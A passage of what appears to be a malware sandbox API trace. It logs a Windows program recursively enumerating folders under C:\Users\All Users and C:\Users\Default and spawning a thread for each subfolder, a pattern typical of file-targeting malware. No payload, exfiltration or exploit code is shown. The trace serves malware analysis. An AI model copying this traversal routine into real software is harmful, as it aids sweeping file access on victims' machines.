wcscmp (_String1="Application Data", _String2=".") returned 1 [0049.611] wcscmp (_String1="Application Data", _String2="..") returned 1 [0049.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444e10 [0049.611] wcscpy (in: _Dest=0x444e10, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.611] wcscat (in: _Dest=0x444e10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.611] wcscat (in: _Dest=0x444e10, _Source="Application Data" | out: _Dest="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0049.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0049.612] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0049.612] wcscmp (_String1="Desktop", _String2=".") returned 1 [0049.612] wcscmp (_String1="Desktop", _String2="..") returned 1 [0049.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409f68 [0049.612] wcscpy (in: _Dest=0x409f68, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.612] wcscat (in: _Dest=0x409f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.612] wcscat (in: _Dest=0x409f68, _Source="Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0049.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0049.613] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0049.613] wcscmp (_String1="Documents", _String2=".") returned 1 [0049.613] wcscmp (_String1="Documents", _String2="..") returned 1 [0049.613] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402528 [0049.613] wcscpy (in: _Dest=0x402528, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.613] wcscat (in: _Dest=0x402528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.613] wcscat (in: _Dest=0x402528, _Source="Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0049.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0049.615] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0049.615] wcscmp (_String1="Favorites", _String2=".") returned 1 [0049.615] wcscmp (_String1="Favorites", _String2="..") returned 1 [0049.615] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402570 [0049.615] wcscpy (in: _Dest=0x402570, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.615] wcscat (in: _Dest=0x402570, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.615] wcscat (in: _Dest=0x402570, _Source="Favorites" | out: _Dest="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0049.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0049.616] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0049.616] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0049.616] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0049.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x4029a8 [0049.616] wcscpy (in: _Dest=0x4029a8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.616] wcscat (in: _Dest=0x4029a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.616] wcscat (in: _Dest=0x4029a8, _Source="Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0049.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4029a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0049.618] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0049.618] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0049.618] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0049.618] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444af0 [0049.618] wcscpy (in: _Dest=0x444af0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.618] wcscat (in: _Dest=0x444af0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.618] wcscat (in: _Dest=0x444af0, _Source="Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0049.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0049.619] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0049.619] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0049.619] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0049.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409da8 [0049.619] wcscpy (in: _Dest=0x409da8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.619] wcscat (in: _Dest=0x409da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.619] wcscat (in: _Dest=0x409da8, _Source="Mozilla" | out: _Dest="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla" [0049.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409da8) returned 1 [0049.619] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0049.619] wcscmp (_String1="Oracle", _String2=".") returned 1 [0049.619] wcscmp (_String1="Oracle", _String2="..") returned 1 [0049.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409da8 [0049.619] wcscpy (in: _Dest=0x409da8, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.619] wcscat (in: _Dest=0x409da8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.619] wcscat (in: _Dest=0x409da8, _Source="Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0049.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0049.621] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0049.621] wcscmp (_String1="Package Cache", _String2=".") returned 1 [0049.621] wcscmp (_String1="Package Cache", _String2="..") returned 1 [0049.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x445130 [0049.621] wcscpy (in: _Dest=0x445130, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.621] wcscat (in: _Dest=0x445130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.621] wcscat (in: _Dest=0x445130, _Source="Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0049.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0049.622] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0049.622] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0049.622] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0049.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402408 [0049.622] wcscpy (in: _Dest=0x402408, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.622] wcscat (in: _Dest=0x402408, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.622] wcscat (in: _Dest=0x402408, _Source="Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0049.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0049.624] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0049.624] wcscmp (_String1="Sun", _String2=".") returned 1 [0049.624] wcscmp (_String1="Sun", _String2="..") returned 1 [0049.624] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x40ab48 [0049.624] wcscpy (in: _Dest=0x40ab48, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.624] wcscat (in: _Dest=0x40ab48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.624] wcscat (in: _Dest=0x40ab48, _Source="Sun" | out: _Dest="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0049.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40ab48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0049.625] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0049.625] wcscmp (_String1="Templates", _String2=".") returned 1 [0049.625] wcscmp (_String1="Templates", _String2="..") returned 1 [0049.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x4028d0 [0049.625] wcscpy (in: _Dest=0x4028d0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.625] wcscat (in: _Dest=0x4028d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0049.625] wcscat (in: _Dest=0x4028d0, _Source="Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0049.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4028d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0049.626] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4452d8 | out: lpFindFileData=0x4452d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0049.626] FindClose (in: hFindFile=0x409b28 | out: hFindFile=0x409b28) returned 1 [0049.626] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0049.627] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa30) returned 1 [0049.627] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 Thread: id = 105 os_tid = 0xba4 [0045.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x26) returned 0x445c08 [0045.845] wcscpy (in: _Dest=0x445c08, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.845] wcscat (in: _Dest=0x445c08, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.845] wcscat (in: _Dest=0x445c08, _Source="*" | out: _Dest="C:\\Users\\Default\\*") returned="C:\\Users\\Default\\*" [0045.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44c558 [0045.845] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*", lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.845] wcscmp (_String1=".", _String2=".") returned 0 [0045.845] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.845] wcscmp (_String1="..", _String2=".") returned 1 [0045.845] wcscmp (_String1="..", _String2="..") returned 0 [0045.845] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0045.845] wcscmp (_String1="AppData", _String2=".") returned 1 [0045.845] wcscmp (_String1="AppData", _String2="..") returned 1 [0045.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409aa8 [0045.845] wcscpy (in: _Dest=0x409aa8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.845] wcscat (in: _Dest=0x409aa8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.845] wcscat (in: _Dest=0x409aa8, _Source="AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0045.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0045.846] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0045.846] wcscmp (_String1="Application Data", _String2=".") returned 1 [0045.846] wcscmp (_String1="Application Data", _String2="..") returned 1 [0045.846] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444e60 [0045.846] wcscpy (in: _Dest=0x444e60, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.847] wcscat (in: _Dest=0x444e60, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.847] wcscat (in: _Dest=0x444e60, _Source="Application Data" | out: _Dest="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0045.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0045.847] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0045.847] wcscmp (_String1="Contacts", _String2=".") returned 1 [0045.848] wcscmp (_String1="Contacts", _String2="..") returned 1 [0045.848] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x409c68 [0045.848] wcscpy (in: _Dest=0x409c68, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.848] wcscat (in: _Dest=0x409c68, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.848] wcscat (in: _Dest=0x409c68, _Source="Contacts" | out: _Dest="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0045.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0045.849] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0045.849] wcscmp (_String1="Cookies", _String2=".") returned 1 [0045.849] wcscmp (_String1="Cookies", _String2="..") returned 1 [0045.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409ca8 [0045.849] wcscpy (in: _Dest=0x409ca8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.849] wcscat (in: _Dest=0x409ca8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.849] wcscat (in: _Dest=0x409ca8, _Source="Cookies" | out: _Dest="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0045.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0045.850] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0045.850] wcscmp (_String1="Desktop", _String2=".") returned 1 [0045.850] wcscmp (_String1="Desktop", _String2="..") returned 1 [0045.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x32) returned 0x409ce8 [0045.850] wcscpy (in: _Dest=0x409ce8, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.850] wcscat (in: _Dest=0x409ce8, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.850] wcscat (in: _Dest=0x409ce8, _Source="Desktop" | out: _Dest="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0045.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x409ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0045.851] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0045.851] wcscmp (_String1="Documents", _String2=".") returned 1 [0045.851] wcscmp (_String1="Documents", _String2="..") returned 1 [0045.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x36) returned 0x409d28 [0045.851] wcscpy (in: _Dest=0x409d28, _Source="C:\\Users\\Default" | out: _Dest="C:\\Users\\Default") returned="C:\\Users\\Default" [0045.851] wcscat (in: _Dest=0x409d28, _Source="\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0045.851] wcscat (in: _Dest=0x409d28, _Source="Documents" | out: _Dest="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0045.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, 